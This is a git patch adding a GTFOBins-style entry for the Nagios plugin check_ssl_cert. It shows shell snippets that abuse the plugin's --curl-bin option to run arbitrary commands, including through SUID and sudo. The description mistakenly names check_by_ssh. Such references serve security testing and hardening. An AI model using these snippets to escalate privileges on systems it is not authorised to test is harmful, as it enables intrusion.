From e7c1b630ad39a9951b11f3471bf1b152bc236e38 Mon Sep 17 00:00:00 2001 From: Emanuel Duss Date: Thu, 12 Nov 2020 14:21:00 +0100 Subject: [PATCH] New command: check_ssl_cert --- _gtfobins/check_ssl_cert.md | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 _gtfobins/check_ssl_cert.md diff --git a/_gtfobins/check_ssl_cert.md b/_gtfobins/check_ssl_cert.md new file mode 100644 index 0000000..6a2b4a3 --- /dev/null +++ b/_gtfobins/check_ssl_cert.md @@ -0,0 +1,34 @@ +--- +description: | + This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. +functions: + command: + - code: | + COMMAND='/usr/bin/id' + OUTPUT="output_file" + TF=$(mktemp) + echo "$COMMAND | tee \"$OUTPUT\"" > $TF + chmod +x $TF + check_ssl_cert --curl-bin "$TF" -H example.com # example.com must provide TLS + cat $OUTPUT + suid: + - code: | + COMMAND='/usr/bin/id' + OUTPUT="output_file" + umask 022 + TF=$(mktemp) + echo "$COMMAND | tee \"$OUTPUT\"" > $TF + chmod +x $TF + ./check_ssl_cert --curl-bin "$TF" -H example.com # example.com must provide TLS + cat $OUTPUT + sudo: + - code: | + COMMAND='/usr/bin/id' + OUTPUT="output_file" + umask 022 + TF=$(mktemp) + echo "$COMMAND | tee \"$OUTPUT\"" > $TF + chmod +x $TF + sudo check_ssl_cert --curl-bin "$TF" -H example.com # example.com must provide TLS + cat $OUTPUT +---